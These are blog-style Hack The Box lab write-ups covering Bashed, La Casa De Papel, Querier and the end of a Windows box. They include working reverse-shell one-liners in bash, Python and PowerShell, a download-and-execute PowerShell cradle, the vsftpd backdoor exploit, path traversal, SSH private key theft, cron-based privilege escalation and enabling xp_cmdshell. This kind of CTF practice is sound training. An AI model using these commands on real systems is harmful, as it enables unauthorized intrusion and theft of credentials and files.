I get a shell on that port. So the powershell is already there. Let’s try just that at the end of the script!

Invoke-MS16032 -Command "Invoke-PowerShellTcp -Reverse -IPAddress -Port 9005"

Let’s run that and fingers even more crossed!

Infuriating! This fucking win message is now just mocking me!

Our nc listener stayed empty.

Let’s get this script across to the box and try running it locally!

Again, same thing! Looks to run properly but doesn’t!

Let’s try a bit more basic. Can we do any powershell.

Earlier we couldn’t dir C:\Users\Administrator

Can we now?

Invoke-MS16032 -Command "dir C:\Users\Administrator -Out-File C:\Users\kostas\Desktop\dir.txt"

This also doesn’t appear to do anything! We have an issue somewhere!

That command was way off!

We need:

Invoke-MS16032 -Command "dir C:\Users\Administrator | Out-File -FilePath C:\Users\kostas\Desktop\dir.txt"

Still nothing, so the powershell is funky somewhere!

At this point, I’d like to make it very clear that I watched the ippsec video, as I was absolutely baffled!

Going back to what we did previously, we have bits that work, so let’s work with those.

At the end of the Invoke-MS16032.ps1 script we add in:

Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadString('')"

I renamed Invoke-PowerShellTcp-System.ps1 to shell.ps1 for ease of typing.

At the bottom of shell.ps1 we had:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9005

I’m pretty certain we had this exact set up before! If you see where I went wrong, please hit me up on twitter as I’d love to know!

This time, we run:

IEX(New-Object Net.WebClient).downloadString(‘’)

We get the normal image

The big difference!

We got a root shell and the flag!

I really don’t know what changed! Other than a filename. Was the double “-” in “Invoke-PowerShellTcp-System.ps1” causing an issue for some reason?

I have no idea!


Root dance, I guess! I feel slightly sad that I cheated and slightly baffled by the entire process!

Instead of a root dance, I’ll leave you with some good advice!




HTB – Bashed

Here we go, a retired box in prep for the OSCP. Using TJNull’s expert list found here.

We are going to give Bashed a go. I think I’ve done this one before, but it was pre-write up days. So fingers crossed it should be kinda straightforward!

A quick initial nmap scan shows us that Port 80 is open

We get a much more comprehensive nmap scan going:

sudo nmap -sC -sV -O -p- -oA nmap/full -vv

While we go and check out the web server on Port 80.

We get a front page. Having a click around we find a page called single.php which includes an interesting photo:


I wonder if that directory exists: /uploads/phpbash.php

It does not!

There is however a link to the github page here:

So we need some way of uploading stuffs to the webserver. Let’s run a gobuster and see if we can find anything!

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

In the meantime our fuller nmap scan finished and we get some more results:

So Port 80 is the only port open but there are a few HTTP methods available which could become useful later.

Gobuster is bringing back some good results even though it’s only 10% of the way through (I used the standard 10 threads, when really I should have upped it to ~100)

Let’s take a look at /uploads/ that looks fun.

Maybe not!

How about /php/

There is a file called sendMail.php.

Also no fun!

Well that’s dev and looks slightly more exciting!

That is more exciting! This is the program that arrexel created!

I wonder if we can go into the arrexel home directory where I think the user flag is and read that?

We can!

Excellent, that’s the user flag!

Let’s carry on and try and get root! (Which I found out, I haven’t previously got!)

First up, let’s try and get a reverse shell so we have a few more commands.

Trying the very basic on our box we do a:

nc -nvlp 9001

On the target we do

nc 9001

We get a call back that is very quickly killed.

So let’s head over the the pentestmonkey part of the internet and try the bash reverse shell:

bash -i >& /dev/tcp/ 0>&1

This obviously won’t work as we use:

ps -p $$

to find out our shell which is sh.

We find out if python is installed by using:

which python

Python is installed, so let’s try that:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

That’s the one! We now have a shell and can upgrade that to bash!

That’s right, I missed out import on the first attempt, so to prompt the shell using python we use:

python -c 'import pty;pty.spawn("/bin/bash")'

A quick try of:

sudo su

su -

su root

All prompted for passwords, which we don’t have! So it’s going to be more complicated than that!

Looking at /etc/os-release we get:
VERSION="16.04.2 LTS (Xenial Xerus)"

So the box is Xenial. There might be exploits for that. Let’s get the linux-exploit-suggestor over to our box.

We host that on our machine using:

python -m SimpleHTTPServer 9005

Then use wget on the target to download it into the tmp directory:


Running that, we get a few results, including these two:

Although these are available, I’m going to look elsewhere first, as these can be slightly messy.

Using the same theory as earlier, we get the LinEnum script across.

Nothing massively useful comes through that!

Let’s give dirtycow2 a go then!

We get the exploit from exploitDB.

Copy it onto our local box and use the compile instructions:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtycow.cpp -lutil

We now have a dcow executable which we can move across.

We make dcow executable:

chmod +x dcow

And it doesn’t work!

So that doesn’t work! Interesting!

As well as dirtycow linux-exploit-suggester did have a few other ideas, one other caught my eye:

Let’s take a look at rationallove.

So it looks like rational love exploits a bug within glibc. The error message above said GLIBC wasn’t found. However maybe that was the specific version, so let’s give this a go anyway.

We compile the exploit and get a couple of errors:

However it appears to compile. So we move it across, give it executable properties and:

I am unloved!

No good at all!

So let’s move on from big bam quick wins!

We have been pretty light on the old enumeration for priv esc. First question, any passwords etc in the config files for the websites?

Having a re-look at LinEnum and a bit of a poke around hasn’t bought anything obvious to my mind.

I’ve copied across pspy64s to see if there is anything running on that box, cronjobs, scripts by root that I might be able to use.


Leaving it for a few minutes, it looks like this script runs every minute at 1 second past.

So, we just need to find that file!

We know it’s all going down in that /scripts file.

So we know where that file is. We don’t have access to read it or view it though.

We know what it says, it runs any python scripts within /scripts/.

So we need to get a script in there to read the root flag, or give us a reverse shell. Whatever we want really.

The folder & file are owned by scriptmanager. Who we are not!

We cannot su to them without the password.

Oh, maybe we don’t need to change to them.

sudo -l

Give us this:

So, we can run any command as them!

So let’s create a little python reverse shell script. Infact, we will use the same code as earlier, just stick it into a text file!

After ages battling with vi (it’s just awful)! We have a python script which should do a reverse shell to our box!

Now as we can do any command as scriptmanager we can use sudo to copy that script into the /scripts/ folder:

sudo -u scriptmanager cp /scripts/

If we then look at the folder, we have:

You will now see why that won’t work!

Forgot to make it executable! Silly buggers, luckily we can use sudo to add executable status:

sudo -u scriptmanager chmod +x /scripts/

After leaving it for a few minutes. We didn’t get a callback on our netcat listener! Strange!

I confirmed the cronjob was still running with pspy64s.

So must be an issue with the script!

Let’s run the script and see if that works:

So the script is good! But it’s not executing as part of that cronjob!

What’s the difference? Well we ran it with ./ rather than python.
If I try running it,


to mimic the script

We get an error:

So it’s a python issue!

Rather than trying to mess with this for hours. Can we just output the file to another file?

We created a new python file called copy which includes:

import shutil

shutil.copy('/root/root.txt', '/tmp/root.txt')

Running the script, we get a permission denied error. Let’s see if it works with the cronjob.

That works however we have the issue we anticipated. It’s still got the permissions of root!

So we need another line in the script to change the permissions!

Our script now looks like:

import shutil
import subprocess

shutil.copy('/root/root.txt', '/tmp/root.txt')['chmod', '0777', '/tmp/root.txt'])


There would be other, maybe easier ways to do this, like changing the root password, changing the permissions in the /root/ directory however if other people are on the box it’s a bit shitty.

Watching pspy64s we can see that both steps have been completed:

The text file should now be there and readable….


Excellent! There we go!

Now time for a root dance!

Image result for teenage mutant ninja turtles dance

HTB – La Casa De Papel

Alright, here we go!

It’s Wednesday night. I have tonight and tomorrow, then this box is being retired on Saturday!

I’ve done some tweeting, tried to make it a group activity! (

However, for now, it’s just me!

First off, what the heck is La Casa De Papel? Google tells me  it’s a Spanish heist TV show. Available on netflix!

Once this box is done, that is getting a watch!

First off, let’s run an nmap:

nmap -sC -sV -T4 -oA nmap/nmap

The results are in and we have 4 ports open!

Both 80 and 443 are web servers running nodeJS.

Let’s start with port 80:

There is a QR code. Let’s try scanning it!

As I thought “token couldn’t be read!”. So it’s not a legit QR code. Let’s download it and see if strings brings back anything

Nothing that makes sense yet. Let’s save that for later!

Within the page code, we do get some bits for the QR code:

}</style></head><body><div><form method="POST"><input type="image" src="/qrcode?qrurl=otpauth%3A%2F%2Fhotp%2FToken%3Fsecret%3DHB4HUKBMLN2XK22WKNJXOJDWKU5GCSZV%26algorithm%3DSHA1" readonly="readonly" onclick="return false"><input name="secret" type="hidden" value="HB4HUKBMLN2XK22WKNJXOJDWKU5GCSZV"><input name="token" type="text" placeholder="ONE PASSWORD" autocomplete="off"><a target="_blank" href=";hl=en&amp;oco=0">Install Google Authenticator</a><input name="email" type="email" placeholder="E-MAIL" autocomplete="off"><button>GET FREE TRIAL</button></form></div></body></html>

The token secret might be interesting

Let’s get a gobuster running while we carry on poking about!

gobuster -u -w /usr/share/wordlists/rockyou.txt

So port 443, what wonders do you behold?

A very specific user added certificate error:

Looking at the certificate itself, it looks like it’s only valid for lacasadepapel.htb

Off to our hosts file we go!

editing /etc/hosts and adding in: lacasadepapel.htb

Going back to the website, via the new DNS it still brings back the same error.

Let’s get a gobuster going here too! This is slightly harder as we get the error

So we need the -k flag to skip ssl certificate verification

gobuster -u https://lacasadepapel.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

We get a result that a wildcard response is found, specify the -fw switch to force the process. Doing this just brings back every domain as a 302.

Rather than ignoring just 302s, why don’t we accept only status 200s.

gobuster -u https://lacasadepapel.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -fw -s 200

That’s now happily running through.

While they are running, shall we look closer at the FTP service. Does that allow anonymous logins?

root@oblivion:~/Documents/htb/casa# ftp
Connected to
220 (vsFTPd 2.3.4)
Name ( anonymous
331 Please specify the password.
530 Login incorrect.
Login failed.
ftp> ls
530 Please login with USER and PASS.
ftp: bind: Address already in use
ftp> exit
221 Goodbye.

It does not!

My feeling is we need a username and password from port 80, to get a certificate from port 21 to view port 443.

While we are waiting for the gobusters to finish. let’s run a full port scan.

Nothing on any of them.

So I guess we need to get a cert somehow. Can we create our own cert and get that to be used?

I wouldn’t say so, as any certificate that we create won’t be signed by the certificate authority, so won’t have that chain of trust resulting in it not working.

Instead looking at the headers that are returned in burp, for both port 80 & 443 we see what we got told about in the nmap scan:

HTTP/1.1 401 Unauthorized 
X-Powered-By: Express 
Content-Type: text/html; charset=utf-8 
Content-Length: 931 
ETag: W/"3a3-ltZ9andWBAdO1mJpoSYlrCWcCP0" 
Date: Wed, 24 Jul 2019 18:09:17 GMT 
Connection: close

Both pages are being powered by Express, which is a NodeJS module.

Looking around the internet, we find this and this . These indicate that there is a way to get RCE from anything running Express.

Let’s give them a look through and see what we would need to do!

Going through those steps just returns nothing. The QR code is the only valid URL with a “?” to start on and that doesn’t work

I’ve had a break and still no idea. A quick look on the forums says that the initial foothold might be through the FTP server.

We know it’s not anonymous login, so let’s take a deeper look using:

The metasploit module of ftp_version looks interesting. Let’s set that up


use auxiliary/scanner/ftp/ftp_version

show options

Set the RHOSTS



We get a banner back with some interesting information.

Annoyingly, looking back at our nmap scan we started with, we had that information!

So a searchsploit for vsftpd gives us some results.

The last one is what we want, command execution! So let’s boot metasploit backup and take a look:

search vsftpd

use exploit/unix/ftp/vsftpd_234_backdoor

show payloads

set PAYLOAD cmd/unix/interact


Running this we get a sucessful message. We run it again and get a more interesting message

Well we saw this port earlier on our full nmap scan but it was filtered. Looks like we might have just opened it up.

What this module is doing is entering a username with a 🙂 in it. This opens the backdoor.

Trying with a web browser doesn’t load anything.

Giving it a go with FTP however!

Running whoami / pwd / ls etc all bring back errors. A quick help and we get:

Having a poke about with help from a good friend!

We manage to do an ls giving us the variables available

Tokyo looks pretty exciting. Let’s see if we can dump that out!

show $tokyo

So we know there is stuff there,

Looking at this, can we run any php code?

echo "test"

We get a result of test, so we can run php code in this shell.

Looking at phpinfo() we find out that a whole bunch of useful stuff is disabled:

So we can’t run shell_exec or any of that juicy stuff. However we must be able to read files. The php code above gets file contents, so why can’t we?


So, shall we see what the code was looking at earlier


We have a ca key!

Now that we have this, we can copy it across to our local box and save it was rootca.key Then we need to make a new certificate!

Before that, lets take a quick look to see what else is around


No user.txt sadly!

However we can do:


After a bit of poking around, the user.txt file is in /home/berlin but sadly we don’t have permission for that

We can use openssl for this:

openssl req -new -key rootca.key -out lacasadepapel.htb.csr

Questions will be asked, so let’s look at the certificate on the website to get the answers that we can.

So we now have a csr. Hopefully with this and the key we can create a client certificate.

Looking round the net, I think we might have a command:

openssl x509 -req -days 365 -in lacasadepapel.htb.csr -signkey rootca.key -sha256 -out lacasadepapel.crt

That ran through properly, we now have bingo.crt.

Let’s add this cert to our cert store and see if we can access the website on port 443.

I think my bingo was too keen! Far too keen!

So the error we are getting is “peer certificate issuer is not recongized”

After some more playing, we get issues that it’s a self-signed certificate and also it looks like the browsers aren’t using my certificate, they are using the hosts ones.

What I forgot, was to create a client certificate, we need both the key and the crt in the same file, then to create that into a .p12

So using nano we put the files together. With the ca.key on the top then the created crt below.

openssl pkcs12 -export -in ca.txt -out lacasadepapel.p12

This then creates a p12 certificate, which can be added to your local certificates in firefox.

Loading the website then asks for the cert, give it that one and boom

Looking around, we have seasons 1 and 2 and each have an avi file.

Each of the avi files had a URL of something like:


This to me looks suspect, why wouldn’t it just be the episode number?

Putting that through a base64 decoder we get:


Useful, also trying the change the path to SEASON-2 from:




Gives us an error:

Error: ENOTDIR: not a directory, scandir '/home/berlin/downloads/../../../../../../etc/passwd/'
at Object.fs.readdirSync (fs.js:904:18)
at /home/berlin/server.js:10:20
at Layer.handle [as handle_request] (/home/berlin/node_modules/express/lib/router/layer.js:95:5)
at next (/home/berlin/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/berlin/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/berlin/node_modules/express/lib/router/layer.js:95:5)
at /home/berlin/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/berlin/node_modules/express/lib/router/index.js:335:12)
at next (/home/berlin/node_modules/express/lib/router/index.js:275:10)
at expressInit (/home/berlin/node_modules/express/lib/middleware/init.js:40:5

So it looks like it’s looking for items in downloads. Now from earlier we know the user.txt is in /home/berlin so can we base64 ../user.txt
Which gives us


Trying this out we get:


Which downloads a file, called user.txt

Boom, we have the user flag!

I am so very glad we finally got here!

Now, to get access to the box, I really hope this user has ssh keys!

Let’s go back to the Psy Shell and see what’s in the Berlin home directory to see what could be useful

There is a .ssh folder, let’s see if authorized_keys is there

That might be useful, although we don’t currently have the public key. Also the comment is odd:


How odd

Another file we know is there, is server.js let’s take a look at this, it has a very interesting line:

This means that we might be able to look at folders! Let’s try it


Yesssss! So we can now enumerate the folders and files! This is ace!

Looking in the .ssh folder we have:


Let’s grab all of these.

So id_rsa is a private key with the comment of berlin@lacasadepapel.htb

The is the public key.

Let’s try the private key

ssh -i id_rsa berlin@

We get asked for a password, hmm.

Might as well try all users before we look into how to get the public key onto the machine.

OMG, boom! Ok that was unexpected!

We have a shell, as professor.

So never trust the comments on CTFs!

The shell is odd though. Looking at /etc/passwd it’s an “ash” shell.

I get excited by getting shells, some people on the other hand, just enjoy mocking!

Let’s try and upgrade that to bash!

python -c 'import pty;pty.spawn("/bin/bash")'

This for the first time in my life, didn’t do anything! How odd!

Looking in /etc/ there is os-release, we are running:

NAME="Alpine Linux"
PRETTY_NAME="Alpine Linux v3.8"

Never heard of it. the website claims its “a security-oriented, lightweight Linux distribution”

This version was released on 11-09-2018 so not too old but not fully new either.

As always though, let’s get on it and see what we find.

Copying it across from my local box using a SimpleHTTPServer

python -m SimpleHTTPServer 9000

wget -O /tmp/

Let’s run that and see what happens.

The permissions on the home directories are odd:

The user of nobody owns 2 of the home directories. Strange

There is also an interesting process running

nobody is running it, but in the professor home directory.

In the home directory we have:

lacasadepapel [~]$ ls -al
total 24
drwxr-sr-x 4 professo professo 4096 Mar 6 20:56 .
drwxr-xr-x 7 root root 4096 Feb 16 18:06 ..
lrwxrwxrwx 1 root professo 9 Nov 6 2018 .ash_history -> /dev/null
drwx------ 2 professo professo 4096 Jan 31 21:36 .ssh
-rw-r--r-- 1 root root 88 Jan 29 01:25 memcached.ini
-rw-r----- 1 root nobody 434 Jan 29 01:24 memcached.js
drwxr-sr-x 9 root professo 4096 Jan 29 01:31 node_modules


So memcached.ini is owned by root but I can read it:

command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

Whereas memcached.js group is nobody and I can’t read that one.

So I guess I need to try and become nobody to success here.

I can’t run sudo -u as I don’t know the passwords. Let’s see if we can see what’s going on here using pspy

pspy64s just wouldn’t run, so I went back to the github page and downloaded the 32bit one which ran.

Running it didn’t show a lot that we hadn’t kinda guessed:

The UID of 65534 is nobody. So nobody is running that command pretty often.

So what is this doing, what is /usr/bin/node?

It looks like that’s the nodeJS service. And it’s running memcached.js which makes sense. This will all be via the .ini file, so let’s take a look at that.

We can’t edit it, so that’s out straight away. We get permission denied.

It seems like the right method though. Everything else is hanging off node here. Let’s take a look at that

If we do /usr/bin/node we get a nodejs shell. A quick google found out how to write a file:

const fs = require('fs');
fs.writeFile("/tmp/test", "Hey there!", function(err) {
if(err) {
return console.log(err);

console.log("The file was saved!");

Trying this works and creates a file called test which when read says “Hey there!”.

So, can we over-write the memcached.js file? Let’s create a basic file that should echo something to temp:

const fs = require('fs');
fs.writeFile("/home/professor/memcached.js", "echo 'Winning!' > /tmp/wins", function(err) {
if(err) {
return console.log(err);

console.log("The file was saved!");



Looking again at the permissions on /home/ we notice that the professor directory has the permissions of


The s for group is odd. Normally it would be x for execute. So what is the “s” in Linux permissions?

This is the SUID, so a binary runs as the owner not as your user.

As an off chance of reading a forum explaining it here: it said we might be able to use rm with the s permission

Looking at that, I ran rm memcached.js and guess what! It’s gone!

So let’s create a file that creates a file in temp

SO let’s wait for that job to run again and see if the file gets created. If it does, we can then put in some sort of shell command and hopefully get some priv-esc!

That job didn’t appear to run again, I’m not sure why, but the file never got created.

I have sadly, run out of time and awakeness. So this is a box that will remain unrooted.

I’m sure i’ll see on Saturday just how very close I was to this!


*********Post Retirement**********

So the box got retired and unfortunately I didn’t manage to root it in time!

Rather than prodding around, I watched ippsecs video and I was so very close!

The fact that we changed the .js file not the .ini was the issue. We also would have had to have kept the format, so we wanted to make a new memcached.ini with something like:

We set up a listener on our local box

nc -nvlp 9002

Then we wait for the connection back! Nothing happens. So the command isn’t being run.

We instead need to tell it what bash to use, so we add in a few words:

After only a couple of minutes, we get a shell back!

So we were very close. We got the idea of the directory permissions, just didn’t quite push it over that line. I think we would have got there.

What annoys me slightly is watching the pspy and not seeing the cronjob being run, I’m not sure what happened there!

All in all, a fun 2 day box! The SSL cert was frustrating due to my own failures but other than that  I really enjoyed it. I especially like the easy but very important webapp directory listing and reading file contents.


Hack The Box – Querier

Let’s take a look at Querier, a machine from Hack The Box.
As we begin all boxes, let’s run an nmap scan.

nmap -sC -sV -oA nmap/querier
We have 4 open ports. Not the normal ones we would expect from HTB (normally i'd expect 22 and 80 as minimum)
Instead we have:
# Nmap 7.70 scan initiated Tue Apr 9 17:00:47 2019 as: nmap -sC -sV -oA nmap/querier
Nmap scan report for
Host is up (0.043s latency).
Not shown: 996 closed ports
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-04-09T16:00:45
|_Not valid after: 2049-04-09T16:00:45
|_ssl-date: 2019-04-09T16:01:11+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| ms-sql-info:
| Version:
| name: Microsoft SQL Server
| number: 14.00.1000.00
| Product: Microsoft SQL Server
|_ TCP port: 1433
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-04-09 17:01:12
|_ start_date: N/A

So what do we really have here. We have ports 135, 139, 445 and 1433. Let’s go through them each:

  • 135 – Microsoft RPC (Remote Procedure Call)
  • 139 – NetBIOS
  • 445 – Microsoft DS (Directory Services)
  • 1433 – Microsoft SQL

So we have learnt something straight away, we are definitely looking at at a Windows box!

Nmap has given us loads of data from the SQL tree. We know that computer name, domain and product version (10.0.017763).

First off let’s take a look at this SQL server.

We are going to see if we can get anonymous access to the SQL server on the remote host. To do that we need to do:

mysql -u anonymous -p -h -P 1433

It prompts for a password, we just enter anything and we get an error:

ERROR 2013 (HY000): Lost connection to MySQL server at 'handshake: reading inital communication packet', system error: 104

Now, this is not an error I was expecting. I was expecting wrong creds or not allowed remote connection or something. A quick google suggests that this might be a firewall issue, so maybe we aren’t meant to be able to connect to the SQL database remotely.

Let’s park this for now, we still have a potential SMB share on port 445.

I wonder if we can get anonymous access into that

smbclient -L -U anonymolus

(Yes I mangled the work anonymous, turns out it didn’t matter. We can put any username here)

Again enter anything as the password, and this time. We get a list of shares available:

ADMIN$, C$ and IPC$ are normal shares that we would always see on an smbserver. Let’s try connecting to them anyway, just in case.

We don’t want to list the output anymore, so we drop the -L flag. We also need to add some more // for the server so we try:

smbclient //$ -U Yekki

smbclient //$ -U Yekki

We get a straight up permission denied on these

smbclient //$ -U Yekki

We get access. Interesting! However when we do a dir we get:


So the exciting one here is hopefully Reports.

Let’s go and see what’s in there!

smbclient // -U Yekki

Alright, we have a file. Let’s bring that over to our local box.

get "Currency Volume Report.xlsm"

That is now on our local box. Let’s see what we have in this file. I moved the file over to my windows box and had a look.

It’s urm, well it’s blank. There aren’t any hidden tabs.

The metadata tells us that the author is “Luis”

What we do know, is that it’s a macro enabled spreadsheet, so maybe there is some code. There are no macros.

Maybe there is more metadata that we can’t see in Excel.

Using a tool called exiftool we can extract the metadata. I think this is built into kali as per standard.

Moving the spreadsheet into a new folder, we run:

exiftool Currency\ Volume\ Report.xlsm

This prints out loads of information:

None of this is too new to us though. We knew it’s extension, we found out it was created by Luis.

I got quite lucky here. As the data showed it was deflated zip. I wondered what would happen if I unzipped it.

unzip 'Currency Volume Report.xlsm'

We get each part of the excel spreadsheet expanded:

I had a poke around all the files and what kept bothering me is why is this a .xlsm without a macro, so when there was a file called “vbaProject.bin” I thought i’d do a strings on that, and I think I got lucky here:

A mention of SQL Server.

So, we now potentially have some creds:

Uid: reporting

PWd: PcwTWTHRwryjc$c6

So let’s head back over the SQL server and see if these creds work.

mysql -u reporting -p -h -P 1433

We enter the password. Same error as before:

ERROR 2013 (HY000): Lost connection to MySQL server at 'handshake: reading inital communication packet', system error: 104

So maybe, there is an issue with out connection method. Or the box is broken. Let’s assume the former but keep trying in case of the latter.

I did a lot of searching and after getting all the posts with people with issues. I found a gem, it looks like impacket has a mssqlclient module. This would be worth trying.

We run the help to get the flags that we need:

positional arguments:
target [[domain/]username[:password]@]<targetName or address>

So we try:

./ HTB/reporter:PcwTWTHRwryjc$c6@

Error, login failed. Let’s try without the domain.

Login failed again.

You’ve no doubt seen what I did. I am using the user “reporter” not “reporting”. Let’s fix that and try again!

Same result. Login failing!

Looking at the error on google, it appears to be a firewall or connection error. Maybe this SQL server is only available via and we need another method to get a shell on the box.

Let’s go back to the start, what other ports are open?

  • 135
  • 139
  • 445
  • 1433
  • 5985
  • 47001
  • 49664 – 49671

Ok, 5985 is wsman and 47001 is winrm. Let’s see what these are!

Wsman is Windows Server Management and Powershell. This could be big! There is a metasploit module available but before we deep dive there. What the heck is this?

So it’s a way to remotely control your server, to check logs and make changes. It runs over port 5985 and allows log in via a webpage. Maybe.

Lets head over to and

Both return a Not Found. There looks like it might be a subdirectory called /winrm or /wsman.

Again both Not Found. I’ll run a dirb on them anyway! Rather than a dirb, I decided to use gobuster.

gobuster -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 

gobuster -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Let’s leave those running in the background!

In all honesty, I’m stuck. This is a fair few hours now, I’ve looked through various stuff and I keep coming back to it’s a mysql authentication issue, or a connection issue.

But I don’t know what else to try, so are there other ways to authenticate to mysql?

Or is it that the password has a frikkin special character in it?

I’ve done a whole bunch of googling and there can be problem with special characters in impacket, which we what we are using.

So rather than adding the password in the command line, remove it from there and put it in when prompted.

./ HTB/reporting@

Fuck. Just for reference. This is now ~3-4 hours on trying to log in via SQL using the credentials we found pretty darn quickly. If this took you ages, don’t feel bad! If you did it straight away, you are a prick 🙂

So, now I have vented that! Let’s carry on trying.

Going back to the exfil tool we used. There is potentially slightly more that we missed first time around. Let’s get the output and clean it up slightly.

strings vbaProject.bin > ../../vbaproject.txt

After taking out all the line breaks, we get another bit of output:

Dr={SQL Server=QUERIER;@Bsted_G#=no;D@;Uid<;Pwd=PcwTWTHRwryjc$c6

Let’s compare that to the original:

Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6

So the password is the same, and the UID is “<” that doesn’t seem right!

That’s just madness, a thought just came to me. How can I check if the reporting user and password are correct?

Can I connect to smb with those details?

The first is using the password above. The second is with hello. As we can see, the user and password are correct. I tried another smbclient -L for list. We didn’t get access to anymore directories.

So we now know, that we have the correct username and password. We also know that this is a windows account.

Looking at the impacket mysqlclient help we see:

-windows-auth whether or not to use Windows Authentication (default False)

Lets give it a go with windows auth:

We are an untrusted domain. This is a success, it’s a new error, we can find out how to solve this!

This error hasn’t been the easy win I expected. I realised we can also specific the db with -db

We know from the vba that the db is volume

./ -db volume HTB/reporting:’PcwTWTHRwryjc$c6’@

Same error!

Our gobusters have finished. Nothing to find on either of those ports via that method….

<————6 days later————————->

So, I’ve had a bit of a break, come back from the edge.

Let’s see what’s going on! we run the same commands and without surprise, we get the exact same results.

Maybe the domain is wrong?

Trying with HTB.local/ and QUERIER we continue to get the same error:

[-] ERROR(QUERIER): Line 1: Login failed for user 'reporting'.

With the errors we are getting, I feel the closest with the untrusted domain error. Let’s start there.

Running the debug flag against all of it doesn’t bring back any clues. I think we have the right creds, it’s just maybe we are trying to use them in the wrong way.

OMG, so after many a hour, of being stuck! I had the idea that it must be a different domain, it was the only thing that made sense. But, I tried other domains earlier right?

Well, I made a spelling mistake!


./ -windows-auth QUERIER/reporting@ -debug

Full success!

Pentestmonkey has a create mssql cheat sheet which can be found here:

Using this we can look at what databases and users are available.

SELECT name FROM master..syslogins

SELECT name FROM master..sysdatabases;

So under users we have sa and the reporting that we connected in as.

For databases, we have a few, the interesting one is volume, which we saw earlier.

Let’s see if we can see the tables in volume. Turns out msssql is a right faff in terms of syntax. I think i’ll stick to mysql personally!

So for tables in volume:

SELECT name FROM master..sysobjects WHERE xtype='U';

We get a few results:

I don’t expect there to be much in here, but let’s see if any columns look like passwords!

Using the command:

SELECT name FROM master..syscolumns WHERE name = 'trace_xe_action_map';

changing trace_xe_action_map to each table. They all look empty. So we can’t get anything from here.

So it looks like the SQL database is effectively empty, so that leads to only 1 proper conclusion. The SQL database is there to allow you access onto the box, it might not be a shell, but we are interacting directly on the box.

What we therefore need, is some sort of code execution on the base OS to allow us to upgrade to a shell.

As it’s windows, ideally i’ll use the PoshC2 framework for my reverse shell as that gives me easy access to a whole bunch of enumeration and exploitation tools right off the bat. But before we get into all of that.

Having a google of windows code execution via mssql, we find a fair few resources. A lot of them point to something called:

exec xp_cmdshell

This looks to be a process that allows the running of commands within cmd. This allows the SQL database to do more automated tasks and is helpful all round, let’s hope especially when it comes to getting a shell!

I’ve found a website on how to use xp_cmdshell:

It looks like we don’t get any responce on screen doing any command, i.e:

xp_cmdshell 'whoami'

Returns nothing on screen. So how can we test if this is working, in the simplist way?

Let’s try pinging our kali box, and see if the command gets run. So, first up we need to set up tcpdump to listen to all traffic incoming to our kali box via the tun0 interface (our VPN to hackthebox)

tcpdump -i tun0

Once this is up and running, let’s try pinging. I tried a couple of different syntax as checks:

Absolutely nothing. So 3 options here, either xp_cmdshell isn’t enabled on this box, I have the syntax/usage wrong or my tcpdump isn’t working.

The last is easiest to check, so I do the reverse and do a ping from my kali to Querier. As you can see, tcpdump is working!

So, now we are down to 2 options.

Looking at OWASP, it tells us that xp_cmdshell is disabled by default from 2005 onwards. So maybe we need to enable it first.

Luckily OWASP tells us how to do that!

master..sp_configure 'show advanced options',1
master..sp_configure 'xp_cmdshell',1

So this is firstly enabling the advanced options so we can select them by setting a value of 1. Then configuring xp_cmdshell to have a value of 1 so it will also work.

Running that, then our ping, we get…

Still nothing. Hmmm!

Further down the OWASP page there is another syntax for xp_cmdshell which is:

exec master..xp_cmdshell 'ping';--

We shouldn't need the last part, as we aren't injecting into the SQL database, we are already in! So let's try
exec master..xp_cmdshell 'ping'

There is a possibility that pings are banned via a firewall. Shall we try downloading a basic webpage and seeing if we get any traffic.

Lets set up a python simpleHTTP Server:

python -m SimpleHTTPServer 9001

We have the sql.txt file in that directory, so let’s try and grab that.

We can’t use cmd for this, it must be powershell using the Invoke Web Request function:

xp_cmdshell 'powershell -command "Invoke-WebRequest"'

EXEC xp_cmdshell 'powershell -command "Invoke-WebRequest"'

And no hits on our web server.

As a sanity check I checked the powershell command and that is correct. So no chance that it’s the issue here.

I checked that something stupid like “exit” wouldn’t work in dropping me into a shell. It was a long shot and it didn’t, but when I reconnected into the database, I saw something that took my interest:

So let’s see if there is anything useful in there:

So shall we try:


Oh balls!

SQL> enable_xp_cmdshell
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.

So let’s try to enable it.

SQL> master..sp_configure 'show advanced options',1
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.


I’m getting a lot more requests back on my tun0 tcpdump, but I’m not sure they are the pings I think they are as I’m running things. So, as a check let’s see if we can download a file again:

SQL> xp_cmdshell {powershell -command "Invoke-WebRequest"}
